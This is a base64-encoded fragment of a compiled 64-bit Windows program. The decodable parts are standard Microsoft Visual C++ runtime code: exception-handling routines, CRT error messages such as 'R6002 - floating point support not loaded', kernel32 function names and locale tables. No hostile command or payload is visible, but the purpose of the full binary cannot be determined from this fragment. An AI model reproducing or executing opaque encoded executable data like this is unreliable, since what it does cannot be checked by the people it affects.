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bFNlY3Rpb25FeAAAAAAAQ3JlYXRlRXZlbnRFeFcAAENyZWF0ZVNlbWFwaG9yZUV4VwAAAAAAAFNldFRocmVhZFN0YWNrR3VhcmFudGVlAENyZWF0ZVRocmVhZHBvb2xUaW1lcgAAAFNldFRocmVhZHBvb2xUaW1lcgAAAAAAAFdhaXRGb3JUaHJlYWRwb29sVGltZXJDYWxsYmFja3MAQ2xvc2VUaHJlYWRwb29sVGltZXIAAAAAQ3JlYXRlVGhyZWFkcG9vbFdhaXQAAAAAU2V0VGhyZWFkcG9vbFdhaXQAAAAAAAAAQ2xvc2VUaHJlYWRwb29sV2FpdAAAAAAARmx1c2hQcm9jZXNzV3JpdGVCdWZmZXJzAAAAAAAAAABGcmVlTGlicmFyeVdoZW5DYWxsYmFja1JldHVybnMAAEdldEN1cnJlbnRQcm9jZXNzb3JOdW1iZXIAAAAAAAAAR2V0TG9naWNhbFByb2Nlc3NvckluZm9ybWF0aW9uAABDcmVhdGVTeW1ib2xpY0xpbmtXAAAAAABTZXREZWZhdWx0RGxsRGlyZWN0b3JpZXMAAAAAAAAAAEVudW1TeXN0ZW1Mb2NhbGVzRXgAAAAAAENvbXBhcmVTdHJpbmdFeABHZXREYXRlRm9ybWF0RXgAR2V0TG9jYWxlSW5mb0V4AEdldFRpbWVGb3JtYXRFeABHZXRVc2VyRGVmYXVsdExvY2FsZU5hbWUAAAAAAAAAAElzVmFsaWRMb2NhbGVOYW1lAAAAAAAAAExDTWFwU3RyaW5nRXgAAABHZXRDdXJyZW50UGFja2FnZUlkAAAAAABHZXRUaWNrQ291bnQ2NAAAR2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVFeFcAAABTZXRGaWxlSW5mb3JtYXRpb25CeUhhbmRsZVcAAAAAAAAAAAAAAAAAAgAAAAAAAABAGQGAAQAAAAgAAAAAAAAAoBkBgAEAAAAJAAAAAAAAAAAaAYABAAAACgAAAAAAAABgGgGAAQAAABAAAAAAAAAAsBoBgAEAAAARAAAAAAAAABAbAYABAAAAEgAAAAAAAABwGwGAAQAAABMAAAAAAAAAwBsBgAEAAAAYAAAAAAAAACAcAYABAAAAGQAAAAAAAACQHAGAAQAAABoAAAAAAAAA4BwBgAEAAAAbAAAAAAAAAFAdAYABAAAAHAAAAAAAAADAHQGAAQAAAB4AAAAAAAAAEB4BgAEAAAAfAAAAAAAAAFAeAYABAAAAIAAAAAAAAAAgHwGAAQAAACEAAAAAAAAAkB8BgAEAAAAiAAAAAAAAAIAhAYABAAAAeAAAAAAAAADoIQGAAQAAAHkAAAAAAAAACCIBgAEAAAB6AAAAAAAAACgiAYABAAAA/AAAAAAAAABEIgGAAQAAAP8AAAAAAAAAUCIBgAEAAABSADYAMAAwADIADQAKAC0AIABmAGwAbwBhAHQAaQBuAGcAIABwAG8AaQBuAHQAIABzAHUAcABwAG8AcgB0ACAAbgBvAHQAIABsAG8AYQBkAGUAZAANAAoAAAAAAAAAAABSADYAMAAwADgADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABhAHIAZwB1AG0AZQBuAHQAcwANAAoAAAAAAAAAAAAAAAAAAABSADYAMAAwADkADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABlAG4AdgBpAHIAbwBuAG0AZQBuAHQADQAKAAAAAAAAAAAAAABSADYAMAAxADAADQAKAC0AIABhAGIAbwByAHQAKAApACAAaABhAHMAIABiAGUAZQBuACAAYwBhAGwAbABlAGQADQAKAAAAAAAAAAAAAAAAAFIANgAwADEANgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAHQAaAByAGUAYQBkACAAZABhAHQAYQANAAoAAAAAAAAAAAAAAFIANgAwADEANwANAAoALQAgAHUAbgBlAHgAcABlAGMAdABlAGQAIABtAHUAbAB0AGkAdABoAHIAZQBhAGQAIABsAG8AYwBrACAAZQByAHIAbwByAA0ACgAAAAAAAAAAAFIANgAwADEAOAANAAoALQAgAHUAbgBlAHgAcABlAGMAdABlAGQAIABoAGUAYQBwACAAZQByAHIAbwByAA0ACgAAAAAAAAAAAAAAAAAAAAAAUgA2ADAAMQA5AA0ACgAtACAAdQBuAGEAYgBsAGUAIAB0AG8AIABvAHAAZQBuACAAYwBvAG4AcwBvAGwAZQAgAGQAZQB2AGkAYwBlAA0ACgAAAAAAAAAAAAAAAAAAAAAAUgA2ADAAMgA0AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAXwBvAG4AZQB4AGkAdAAvAGEAdABlAHgAaQB0ACAAdABhAGIAbABlAA0ACgAAAAAAAAAAAFIANgAwADIANQANAAoALQAgAHAAdQByAGUAIAB2AGkAcgB0AHUAYQBsACAAZgB1AG4AYwB0AGkAbwBuACAAYwBhAGwAbAANAAoAAAAAAAAAUgA2ADAAMgA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAcwB0AGQAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIANwANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGwAbwB3AGkAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgANAAoAAAAAAAAAAABSADYAMAAyADgADQAKAC0AIAB1AG4AYQBiAGwAZQAgAHQAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAIABoAGUAYQBwAA0ACgAAAAAAAAAAAFIANgAwADMAMAANAAoALQAgAEMAUgBUACAAbgBvAHQAIABpAG4AaQB0AGkAYQBsAGkAegBlAGQADQAKAAAAAABSADYAMAAzADEADQAKAC0AIABBAHQAdABlAG0AcAB0ACAAdABvACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAHQAaABlACAAQwBSAFQAIABtAG8AcgBlACAAdABoAGEAbgAgAG8AbgBjAGUALgAKAFQAaABpAHMAIABpAG4AZABpAGMAYQB0AGUAcwAgAGEAIABiAHUAZwAgAGkAbgAgAHkAbwB1AHIAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALgANAAoAAAAAAAAAAAAAAAAAUgA2ADAAMwAyAA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAbABvAGMAYQBsAGUAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAAAAAAFIANgAwADMAMwANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIAB1AHMAZQAgAE0AUwBJAEwAIABjAG8AZABlACAAZgByAG8AbQAgAHQAaABpAHMAIABhAHMAcwBlAG0AYgBsAHkAIABkAHUAcgBpAG4AZwAgAG4AYQB0AGkAdgBlACAAYwBvAGQAZQAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgAKAFQAaABpAHMAIABpAG4AZABpAGMAYQB0AGUAcwAgAGEAIABiAHUAZwAgAGkAbgAgAHkAbwB1AHIAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALgAgAEkAdAAgAGkAcwAgAG0AbwBzAHQAIABsAGkAawBlAGwAeQAgAHQAaABlACAAcgBlAHMAdQBsAHQAIABvAGYAIABjAGEAbABsAGkAbgBnACAAYQBuACAATQBTAEkATAAtAGMAbwBtAHAAaQBsAGUAZAAgACgALwBjAGwAcgApACAAZgB1AG4AYwB0AGkAbwBuACAAZgByAG8AbQAgAGEAIABuAGEAdABpAHYAZQAgAGMAbwBuAHMAdAByAHUAYwB0AG8AcgAgAG8AcgAgAGYAcgBvAG0AIABEAGwAbABNAGEAaQBuAC4ADQAKAAAAAABSADYAMAAzADQADQAKAC0AIABpAG4AYwBvAG4AcwBpAHMAdABlAG4AdAAgAG8AbgBlAHgAaQB0ACAAYgBlAGcAaQBuAC0AZQBuAGQAIAB2AGEAcgBpAGEAYgBsAGUAcwANAAoAAAAAAEQATwBNAEEASQBOACAAZQByAHIAbwByAA0ACgAAAAAAUwBJAE4ARwAgAGUAcgByAG8AcgANAAoAAAAAAAAAAABUAEwATwBTAFMAIABlAHIAcgBvAHIADQAKAAAADQAKAAAAAAAAAAAAcgB1AG4AdABpAG0AZQAgAGUAcgByAG8AcgAgAAAAAABSAHUAbgB0AGkAbQBlACAARQByAHIAbwByACEACgAKAFAAcgBvAGcAcgBhAG0AOgAgAAAAAAAAADwAcAByAG8AZwByAGEAbQAgAG4AYQBtAGUAIAB1AG4AawBuAG8AdwBuAD4AAAAAAC4ALgAuAAAACgAKAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAVgBpAHMAdQBhAGwAIABDACsAKwAgAFIAdQBuAHQAaQBtAGUAIABMAGkAYgByAGEAcgB5AAAAAAAAAAAAYCMBgAEAAABwIwGAAQAAAIAjAYABAAAAkCMBgAEAAABqAGEALQBKAFAAAAAAAAAAegBoAC0AQwBOAAAAAAAAAGsAbwAtAEsAUgAAAAAAAAB6AGgALQBUAFcAAABTdW4ATW9uAFR1ZQBXZWQAVGh1AEZyaQBTYXQAU3VuZGF5AABNb25kYXkAA